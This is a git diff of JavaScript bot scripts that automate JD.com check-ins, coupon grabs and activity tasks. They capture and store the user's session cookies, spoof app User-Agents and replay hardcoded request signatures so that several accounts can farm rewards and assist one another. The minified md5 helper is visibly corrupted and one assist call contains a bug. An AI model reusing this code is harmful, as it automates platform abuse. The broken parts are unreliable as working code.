''; + if (cc.data && cc.data.success === true && cc.data.bizCode === 0) { + console.log(`\n京东商城-超市签到成功 ${Details}`) + merge.JDGStore.success = 1 + merge.JDGStore.bean = cc.data.result.jdBeanCount || 0 + merge.JDGStore.notify = `京东商城-超市: 成功, 明细: ${merge.JDGStore.bean||`无`}京豆 🐶` + } else { + if (!cc.data) cc.data = {} + console.log(`\n京东商城-超市签到失败 ${Details}`) + const tp = cc.data.bizCode == 811 ? `已签过` : cc.data.bizCode == 300 ? `Cookie失效` : `${cc.data.bizMsg||`未知`}` + merge.JDGStore.notify = `京东商城-超市: 失败, 原因: ${tp}${cc.data.bizCode==300?`‼️`:` ⚠️`}` + merge.JDGStore.fail = 1 + } + } catch (eor) { + $nobyda.AnError("京东商城-超市", "JDGStore", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDSecKilling(s) { //领券中心 + merge.JDSecKill = {}; + return new Promise((resolve, reject) => { + if (disable("JDSecKill")) return reject(); + setTimeout(() => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: 'functionId=homePageV2&appid=SecKill2020' + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 203 || cc.code == 3 || cc.code == 101) { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 原因: Cookie失效‼️`; + } else if (cc.result && cc.result.projectId && cc.result.taskId) { + console.log(`\n京东秒杀-红包查询成功 ${Details}`) + return resolve({ + projectId: cc.result.projectId, + taskId: cc.result.taskId + }) + } else { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 暂无有效活动 ⚠️`; + } + merge.JDSecKill.fail = 1; + console.log(`\n京东秒杀-红包查询失败 ${Details}`) + reject() + } catch (eor) { + $nobyda.AnError("京东秒杀-查询", "JDSecKill", eor, response, data) + reject() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }).then(async (id) => { + await new Promise(resolve => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: `functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${id.projectId}%22%2C%22encryptAssignmentId%22%3A%22${id.taskId}%22%2C%22completionFlag%22%3Atrue%7D&client=wh5&appid=SecKill2020` + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 0 && cc.subCode == 0) { + console.log(`\n京东秒杀-红包签到成功 ${Details}`); + const qt = data.match(/"discount":(\d.*?),/); + merge.JDSecKill.success = 1; + merge.JDSecKill.Cash = qt ? qt[1] : 0; + merge.JDSecKill.notify = `京东秒杀-红包: 成功, 明细: ${merge.JDSecKill.Cash||`无`}红包 🧧`; + } else { + console.log(`\n京东秒杀-红包签到失败 ${Details}`); + merge.JDSecKill.fail = 1; + merge.JDSecKill.notify = `京东秒杀-红包: 失败, ${cc.subCode==103?`原因: 已领取`:cc.msg?cc.msg:`原因: 未知`} ⚠️`; + } + } catch (eor) { + $nobyda.AnError("京东秒杀-领取", "JDSecKill", eor, response, data); + } finally { + resolve(); + } + }) + }) + }, () => {}); +} + +function TotalSteel() { + merge.TotalSteel = {}; + return new Promise(resolve => { + if (disable("TSteel")) return resolve() + $nobyda.get({ + url: 'https://coin.jd.com/m/gb/getBaseInfo.html', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"gbBalance\":\d+)/)) { + console.log("\n" + "京东-总钢镚查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalSteel.TSteel = cc.gbBalance + } else { + console.log("\n" + "京东-总钢镚查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户钢镚-查询", "TotalSteel", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalBean() { + merge.TotalBean = {}; + return new Promise(resolve => { + if (disable("Qbear")) return resolve() + $nobyda.get({ + url: 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.msg == 'success' && cc.retcode == 0) { + merge.TotalBean.nickname = cc.data.userInfo.baseInfo.nickname || "" + merge.TotalBean.Qbear = cc.data.assetInfo.beanNum || 0 + $nobyda.headUrl = cc.data.userInfo.baseInfo.headImageUrl || "" + console.log(`\n京东-总京豆查询成功 ${Details}`) + } else { + const name = decodeURIComponent(KEY.split(/pt_pin=(.+?);/)[1] || ''); + merge.TotalBean.nickname = cc.retcode == 1001 ? `${name} (CK失效‼️)` : ""; + console.log(`\n京东-总京豆查询失败 ${Details}`) + } + } catch (eor) { + $nobyda.AnError("账户京豆-查询", "TotalBean", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalCash() { + merge.TotalCash = {}; + return new Promise(resolve => { + if (disable("TCash")) return resolve() + $nobyda.post({ + url: 'https://api.m.jd.com/client.action?functionId=myhongbao_balance', + headers: { + Cookie: KEY + }, + body: "body=%7B%22fp%22%3A%22-1%22%2C%22appToken%22%3A%22apphongbao_token%22%2C%22childActivityUrl%22%3A%22-1%22%2C%22country%22%3A%22cn%22%2C%22openId%22%3A%22-1%22%2C%22childActivityId%22%3A%22-1%22%2C%22applicantErp%22%3A%22-1%22%2C%22platformId%22%3A%22appHongBao%22%2C%22isRvc%22%3A%22-1%22%2C%22orgType%22%3A%222%22%2C%22activityType%22%3A%221%22%2C%22shshshfpb%22%3A%22-1%22%2C%22platformToken%22%3A%22apphongbao_token%22%2C%22organization%22%3A%22JD%22%2C%22pageClickKey%22%3A%22-1%22%2C%22platform%22%3A%221%22%2C%22eid%22%3A%22-1%22%2C%22appId%22%3A%22appHongBao%22%2C%22childActiveName%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22extend%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22activityArea%22%3A%22-1%22%2C%22childActivityTime%22%3A%22-1%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&networklibtype=JDNetworkBaseAF&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=fdc04c3ab0ee9148f947d24fb087b55d&st=1581245397648&sv=120" + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"totalBalance\":\d+)/)) { + console.log("\n" + "京东-总红包查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalCash.TCash = cc.totalBalance + } else { + console.log("\n" + "京东-总红包查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户红包-查询", "TotalCash", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalSubsidy() { + merge.TotalSubsidy = {}; + return new Promise(resolve => { + if (disable("TotalSubsidy")) return resolve() + $nobyda.get({ + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/mySubsidyBalance', + headers: { + Cookie: KEY, + Referer: 'https://active.jd.com/forever/cashback/index?channellv=wojingqb' + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.data) { + console.log("\n京东-总金贴查询成功 " + Details) + merge.TotalSubsidy.TSubsidy = cc.resultData.data.balance || 0 + } else { + console.log("\n京东-总金贴查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户金贴-查询", "TotalSubsidy", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalMoney() { + merge.TotalMoney = {}; + return new Promise(resolve => { + if (disable("TotalMoney")) return resolve() + $nobyda.get({ + url: 'https://api.m.jd.com/client.action?functionId=cash_exchangePage&body=%7B%7D&build=167398&client=apple&clientVersion=9.1.9&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=762a8e894dea8cbfd91cce4dd5714bc5&st=1602179446935&sv=102', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 0 && cc.data && cc.data.bizCode == 0 && cc.data.result) { + console.log("\n京东-总现金查询成功 " + Details) + merge.TotalMoney.TMoney = cc.data.result.totalMoney || 0 + } else { + console.log("\n京东-总现金查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户现金-查询", "TotalMoney", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function disable(Val, name, way) { + const read = $nobyda.read("JD_DailyBonusDisables") + const annal = $nobyda.read("JD_Crash_" + Val) + if (annal && way == 1 && boxdis) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + if (read) { + if (read.indexOf(Val) == -1) { + var Crash = $nobyda.write(`${read},${Val}`, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + } else { + var Crash = $nobyda.write(Val, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + return true + } else if (way == 1 && boxdis) { + var Crash = $nobyda.write(name, "JD_Crash_" + Val) + } else if (way == 2 && annal) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + } + if (read && read.indexOf(Val) != -1) { + return true + } else { + return false + } +} + +function Wait(readDelay, ini) { + if (!readDelay || readDelay === '0') return 0 + if (typeof(readDelay) == 'string') { + var readDelay = readDelay.replace(/"|"|'|'/g, ''); //prevent novice + if (readDelay.indexOf('-') == -1) return parseInt(readDelay) || 0; + const raw = readDelay.split("-").map(Number); + const plan = parseInt(Math.random() * (raw[1] - raw[0] + 1) + raw[0], 10); + if (ini) console.log(`\n初始化随机延迟: 最小${raw[0]/1000}秒, 最大${raw[1]/1000}秒`); + // else console.log(`\n预计等待: ${(plan / 1000).toFixed(2)}秒`); + return ini ? readDelay : plan + } else if (typeof(readDelay) == 'number') { + return readDelay > 0 ? readDelay : 0 + } else return 0 +} + +function CookieMove(oldCk1, oldCk2, oldKey1, oldKey2, newKey) { + let update; + const move = (ck, del) => { + console.log(`京东${del}开始迁移!`); + update = CookieUpdate(null, ck).total; + update = $nobyda.write(JSON.stringify(update, null, 2), newKey); + update = $nobyda.write("", del); + } + if (oldCk1) { + const write = move(oldCk1, oldKey1); + } + if (oldCk2) { + const write = move(oldCk2, oldKey2); + } +} + +function checkFormat(value) { //check format and delete duplicates + let n, k, c = {}; + return value.reduce((t, i) => { + k = ((i.cookie || '').match(/(pt_key|pt_pin)=.+?;/g) || []).sort(); + if (k.length == 2) { + if ((n = k[1]) && !c[n]) { + i.userName = i.userName ? i.userName : decodeURIComponent(n.split(/pt_pin=(.+?);/)[1]); + i.cookie = k.join('') + if (i.jrBody && !i.jrBody.includes('reqData=')) { + console.log(`异常钢镚Body已过滤: ${i.jrBody}`) + delete i.jrBody; + } + c[n] = t.push(i); + } + } else { + console.log(`异常京东Cookie已过滤: ${i.cookie}`) + } + return t; + }, []) +} + +function CookieUpdate(oldValue, newValue, path = 'cookie') { + let item, type, name = (oldValue || newValue || '').split(/pt_pin=(.+?);/)[1]; + let total = $nobyda.read('CookiesJD'); + try { + total = checkFormat(JSON.parse(total || '[]')); + } catch (e) { + $nobyda.notify("京东签到", "", "Cookie JSON格式不正确, 即将清空\n可前往日志查看该数据内容!"); + console.log(`京东签到Cookie JSON格式异常: ${e.message||e}\n旧数据内容: ${total}`); + total = []; + } + for (let i = 0; i < total.length; i++) { + if (total[i].cookie && new RegExp(`pt_pin=${name};`).test(total[i].cookie)) { + item = i; + break; + } + } + if (newValue && item !== undefined) { + type = total[item][path] === newValue ? -1 : 2; + total[item][path] = newValue; + item = item + 1; + } else if (newValue && path === 'cookie') { + total.push({ + cookie: newValue + }); + type = 1; + item = total.length; + } + return { + total: checkFormat(total), + type, //-1: same, 1: add, 2:update + item, + name: decodeURIComponent(name) + }; +} + +function GetCookie() { + const req = $request; + if (req.method != 'OPTIONS' && req.headers) { + const CV = (req.headers['Cookie'] || req.headers['cookie'] || ''); + const ckItems = CV.match(/(pt_key|pt_pin)=.+?;/g); + if (/^https:\/\/(me-|)api(\.m|)\.jd\.com\/(client\.|user_new)/.test(req.url)) { + if (ckItems && ckItems.length == 2) { + const value = CookieUpdate(null, ckItems.join('')) + if (value.type !== -1) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `${value.type==2?`更新`:`写入`}京东 [账号${value.item}] Cookie${write?`成功 🎉`:`失败 ‼️`}`) + } else { + console.log(`\n用户名: ${value.name}\n与历史京东 [账号${value.item}] Cookie相同, 跳过写入 ⚠️`) + } + } else { + throw new Error("写入Cookie失败, 关键值缺失\n可能原因: 非网页获取 ‼️"); + } + } else if (/^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\?/.test(req.url) && req.body) { + const value = CookieUpdate(CV, req.body, 'jrBody'); + if (value.type) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `获取京东 [账号${value.item}] 钢镚Body${write?`成功 🎉`:`失败 ‼️`}`) + } else { + throw new Error("写入钢镚Body失败\n未获取该账号Cookie或关键值缺失‼️"); + } + } else if (req.url === 'http://www.apple.com/') { + throw new Error("类型错误, 手动运行请选择上下文环境为Cron ⚠️"); + } + } else if (!req.headers) { + throw new Error("写入Cookie失败, 请检查匹配URL或配置内脚本类型 ⚠️"); + } +} + +// Modified from yichahucha +function nobyda() { + const start = Date.now() + const isRequest = typeof $request != "undefined" + const isSurge = typeof $httpClient != "undefined" + const isQuanX = typeof $task != "undefined" + const isLoon = typeof $loon != "undefined" + const isJSBox = typeof $app != "undefined" && typeof $http != "undefined" + const isNode = typeof require == "function" && !isJSBox; + const NodeSet = 'CookieSet.json' + const node = (() => { + if (isNode) { + const request = require('request'); + const fs = require("fs"); + const path = require("path"); + return ({ + request, + fs, + path + }) + } else { + return (null) + } + })() + const notify = (title, subtitle, message, rawopts) => { + const Opts = (rawopts) => { //Modified from https://github.com/chavyleung/scripts/blob/master/Env.js + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (isLoon) return rawopts + else if (isQuanX) return { + 'open-url': rawopts + } + else if (isSurge) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (isLoon) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (isQuanX) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (isSurge) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + console.log(`${title}\n${subtitle}\n${message}`) + if (isQuanX) $notify(title, subtitle, message, Opts(rawopts)) + if (isSurge) $notification.post(title, subtitle, message, Opts(rawopts)) + if (isJSBox) $push.schedule({ + title: title, + body: subtitle ? subtitle + "\n" + message : message + }) + } + const write = (value, key) => { + if (isQuanX) return $prefs.setValueForKey(value, key) + if (isSurge) return $persistentStore.write(value, key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) + node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify({})); + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))); + if (value) dataValue[key] = value; + if (!value) delete dataValue[key]; + return node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify(dataValue)); + } catch (er) { + return AnError('Node.js持久化写入', null, er); + } + } + if (isJSBox) { + if (!value) return $file.delete(`shared://${key}.txt`); + return $file.write({ + data: $data({ + string: value + }), + path: `shared://${key}.txt` + }) + } + } + const read = (key) => { + if (isQuanX) return $prefs.valueForKey(key) + if (isSurge) return $persistentStore.read(key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) return null; + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))) + return dataValue[key] + } catch (er) { + return AnError('Node.js持久化读取', null, er) + } + } + if (isJSBox) { + if (!$file.exists(`shared://${key}.txt`)) return null; + return $file.read(`shared://${key}.txt`).string + } + } + const adapterStatus = (response) => { + if (response) { + if (response.status) { + response["statusCode"] = response.status + } else if (response.statusCode) { + response["status"] = response.statusCode + } + } + return response + } + const get = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "GET" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.get(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data); + callback(error, adapterStatus(resp.response), body) + }; + $http.get(options); + } + } + const post = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (options.body) options.headers['Content-Type'] = 'application/x-www-form-urlencoded' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "POST" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data) + callback(error, adapterStatus(resp.response), body) + } + $http.post(options); + } + } + const AnError = (name, keyname, er, resp, body) => { + if (typeof(merge) != "undefined" && keyname) { + if (!merge[keyname].notify) { + merge[keyname].notify = `${name}: 异常, 已输出日志 ‼️` + } else { + merge[keyname].notify += `\n${name}: 异常, 已输出日志 ‼️ (2)` + } + merge[keyname].error = 1 + } + return console.log(`\n‼️${name}发生错误\n‼️名称: ${er.name}\n‼️描述: ${er.message}${JSON.stringify(er).match(/\"line\"/)?`\n‼️行列: ${JSON.stringify(er)}`:``}${resp&&resp.status?`\n‼️状态: ${resp.status}`:``}${body?`\n‼️响应: ${resp&&resp.status!=503?body:`Omit.`}`:``}`) + } + const time = () => { + const end = ((Date.now() - start) / 1000).toFixed(2) + return console.log('\n签到用时: ' + end + ' 秒') + } + const done = (value = {}) => { + if (isQuanX) return $done(value) + if (isSurge) isRequest ? $done(value) : $done() + } + return { + AnError, + isRequest, + isJSBox, + isSurge, + isQuanX, + isLoon, + isNode, + notify, + write, + read, + get, + post, + time, + done + } +}; +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}md5=A}(this); diff --git a/jd_EsportsManager.js b/jd_EsportsManager.js new file mode 100644 index 0000000..08ee946 --- /dev/null +++ b/jd_EsportsManager.js @@ -0,0 +1,490 @@ +/** + 东东电竞经理:脚本更新地址 jd_EsportsManager.js + 更新时间:2021-06-20 + 活动入口:京东APP-东东农场-风车-电竞经理 + 活动链接:https://xinruidddj-isv.isvjcloud.com + [Script] + cron "20 0-23/2 * * *" script-path=jd_EsportsManager.js,tag=东东电竞经理 + 按顺序给第(Math.floor((index - 1) / 6) + 1)个账号助力 + 可能有BUG,但不会给别人号助力 + */ + +const $ = new Env('东东电竞经理'); +let cookiesArr = [], cookie = '', isBox = false, notify, newShareCodes, allMessage = ''; +let tasks = [], shareCodes = [], first = true; + +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.shareCode = await makeShareCode(); + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + await getIsvToken(); + await getIsvToken2(); + await getToken(); + + let r = await get_produce_coins(); + if (r !== 200) + continue + + await $.wait(2000); + await main(); + await $.wait(3000) + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + +async function main() { + tasks = await detail(); + for (let i = 0; i < tasks.length; i++) { + let product_info_vos = [] + let task_vos = tasks[i] + switch (task_vos.task_name) { + case '连签得金币': + if (task_vos.status === '1') + await do_task(task_vos.simple_record_info_vo.task_token, task_vos.task_id, task_vos.task_type) + continue + case '邀请好友助力': + await getShareCode(task_vos.assist_task_detail_vo.task_token) + await $.wait(2000) + + await getAssist() + await $.wait(2000) + + console.log(`第${$.index}个账号${$.UserName}去助力第${Math.floor(($.index - 1) / 6) + 1}个账号。`) + await doAssist() + continue + case '去浏览精彩会场': case '去关注特色频道' : + product_info_vos = task_vos['shopping_activity_vos'] + break + case '去关注优质好店': + product_info_vos = task_vos['follow_shop_vo'] + break + default: + "" + } + let taskId = task_vos.task_id, taskType = task_vos.task_type; + for (let t of product_info_vos) { + if (t.status === '1') { + console.log(`开始任务:${task_vos.task_name}`) + let res = await do_task(t.task_token, taskId, taskType) + await $.wait(1000) + } + } + } +} + +function getShareCode(token) { + return new Promise(resolve => { + $.get({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/uc/user', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + } + }, (err, resp, data) => { + try { + data = $.toObj(data) + shareCodes.push({ + 'tid': token, + 'uid': data.body.openid + }) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${shareCodes[$.index - 1].uid}\n`); + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doAssist() { + return new Promise(resolve => { + $.post({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/do_assist_task', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + }, + body: `token=${shareCodes[Math.floor(($.index - 1) / 6)].tid}&inviter=${Math.floor(($.index - 1) / 6).uid}` + }, (err, resp, data) => { + try { + data = $.toObj(data) + if (data.status === '0') { + console.log('助力成功') + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getAssist() { + return new Promise(resolve => { + $.get({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/today_assist?task_id=2&need_num=10', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + } + }, (err, resp, data) => { + try { + data = $.toObj(data) + console.log(`今日共收到${data.body.length}个助力`) + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getIsvToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken&clientVersion=10.0.2&client=android&uuid=818aa057737ba6a4&st=1623934987178&sign=0877498be29cda51b9628fa0195f412f&sv=111', + body: `body=${escape('{"action":"to","to":"https%3A%2F%2Fh5.m.jd.com%2FbabelDiy%2FZeus%2F3KSjXqQabiTuD1cJ28QskrpWoBKT%2Findex.html%3FbabelChannel%3D45%26collectionId%3D519"}')}`, + headers: { + 'Host': 'api.m.jd.com', + 'charset': 'UTF-8', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + data = JSON.parse(data); + $.isvToken = data['tokenKey']; + console.log(`isvToken:${$.isvToken}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.2&client=android&uuid=818aa057737ba6a4&st=1623934998790&sign=e571148c8dfb456a1795d249c6aa3956&sv=100', + body: `body=${escape('{"id":"","url":"https://xinruidddj-isv.isvjcloud.com"}')}`, + headers: { + 'Host': 'api.m.jd.com', + 'charset': 'UTF-8', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : 